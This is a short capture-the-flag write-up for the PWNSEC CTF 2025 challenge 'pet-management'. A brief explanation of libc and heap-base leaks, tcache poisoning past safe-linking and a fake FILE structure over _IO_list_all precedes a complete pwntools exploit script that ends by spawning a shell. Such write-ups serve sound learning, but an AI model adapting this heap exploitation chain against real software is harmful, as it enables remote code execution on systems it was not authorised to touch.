tsune Help

2025-8

Challenge information

  • CTF: PWNSEC CTF 2025

  • Challenge: pwn/pet-management

  • Solves: 10

  • Description: ``

  • Time-wasting to solve: 180 min (in total)

Writeup

let me continue to solve yesterday's challenge: 2025-7

After I leaked the libc and heap base addr, overwrite tcache's next pointer to implement aaw.

Just in case, let me show the equation of safe-linking again.

Preparing fake file structure and overwriting _IO_list_all gained me a shell.

from pwn import * from icecream import ic import sys import re import inspect e = ELF("chall",checksec=False) libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False) ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False) nc = "nc 127.0.0.1 9999" if "nc" in nc: HOST = nc.split(" ")[1] PORT = int(nc.split(" ")[2]) if "http" in nc: from urllib.parse import urlparse HOST = urlparse(nc).hostname PORT = urlparse(nc).port dbg = 1 g_script = """ #set max-visualize-chunk-size 0x300 """ context.binary = e if len(sys.argv) > 1: io = remote(host=HOST,port=PORT) else: io = e.process() if dbg: gdb.attach(io,g_script) s = lambda b: io.send(b) sa = lambda a,b: io.sendafter(a,b) sl = lambda b: io.sendline(b) sln = lambda b: io.sendline(str(b).encode()) sla = lambda a,b: io.sendlineafter(a,b) r = lambda : io.recv() ru = lambda b:io.recvuntil(b) rl = lambda : io.recvline() pu32= lambda b : u32(b.ljust(4,b"\0")) pu64= lambda b : u64(b.ljust(8,b"\0")) fsp = lambda b : f"%{b}$p".encode() shell = lambda : io.interactive() def hl(v: int): print(f"[*] {(m := re.search(r'hl\s*\(\s*(.+?)\s*\)', inspect.getframeinfo(inspect.currentframe().f_back).code_context[0].strip())) and m.group(1) or '?'}: {hex(v)}") payload = b"" def rst():global payload;payload = b"";log.info("***PAYLOAD RESET***") def pay(*args, **kwargs): global payload; payload += b"".join([a if type(a) == bytes else (a.encode() if type(a) == str else p64(a)) for a in args]) #0x5060 sln(1) sln(0x20) sl(b"A"*0x10) sln(0x810) sl(b"1") sl(b"a"*0x10) sl(b"A"*0x10) sln(1) sln(0x100) sl(b"B"*0x100) sln(0x810) sl(b"1") sl(b"b"*0x10) sl(b"B"*0x10) sln(1) sln(0x300) sl(b"B"*0x100) sln(0x810) sl(b"1") sl(b"b"*0x10) sl(b"B"*0x10) sln(1) sln(0x20) sl(b"A"*0x8) sln(0x810) sl(b"1") sl(b"a"*0x10) sl(b"A"*0x10) sln(4) sln(0) sln(-1) pay( b"C"*0x20, 0, 0x421 ) sl(payload) sln(5) sln(1) sln(1) sln(0x100) sl(b"D"*0x10) sln(0x810) sl(b"1") sl(b"d"*0x10) sl(b"D"*0x10) sln(3) r() sln(2) ru(b"Name: ") leak = rl().strip() leak = pu64(leak) leak = leak << 8 leak += 0x20 hl(leak) libc.address = leak - (0x000078b35f203b20 -0x000078b35f000000 ) hl(libc.address) sln(1) sln(0x100) sl(b"E"*0x10) sln(0x810) sl(b"1") sl(b"e"*0x10) sl(b"E"*0x10) sln(5) sln(4) sln(3) r() sln(2) ru(b"Name: ") leak = rl().strip() leak = pu64(leak) hl(leak) heapBase = leak << 12 hl(heapBase) sln(1) #idx4 sln(0x100) sl(b"3"*0x10) sln(0x810) sl(b"1") sl(b"e"*0x10) sl(b"E"*0x10) sln(1) #idx5 sln(0x100) sl(b"4"*0x10) sln(0x810) sl(b"1") sl(b"e"*0x10) sl(b"E"*0x10) sln(5) sln(4) sln(5) sln(1) sln(4) sln(0) sln(-1) rst() pay( b"A"*0x20, 0, 0x111, libc.sym["_IO_list_all"] ^ (heapBase >> 12) ) payload = payload sl(payload) def fsop_IO_list_all(addr): fs = b"/bin/sh".ljust(8, b'\0') fs += p64(1) fs += p64(libc.sym["system"]) fs += b"\x00" * (0x88 - len(fs)) fs += p64(addr+0x18) fs += b"\x00" * (0xa0 - len(fs)) fs += p64(addr - 0x10) fs += b"\x00" * (0xc0 - len(fs)) fs += p32(1) fs += b"\x00" * (0xd0 - len(fs)) fs += p64(addr - 0x8) fs += p64(libc.sym["_IO_wfile_jumps"] + 0x48 - 0x18) return fs sln(1) sln(0x100) sl(fsop_IO_list_all(heapBase + 0x2d0)) sln(0x810) sl(b"1") sl(b"e"*0x10) sl(b"E"*0x10) sln(1) sln(0x100) sl(p64(heapBase + 0x2d0)) sln(0x810) sl(b"1") sl(b"e"*0x10) sl(b"E"*0x10) sln(6) shell()
Last modified: 21 November 2025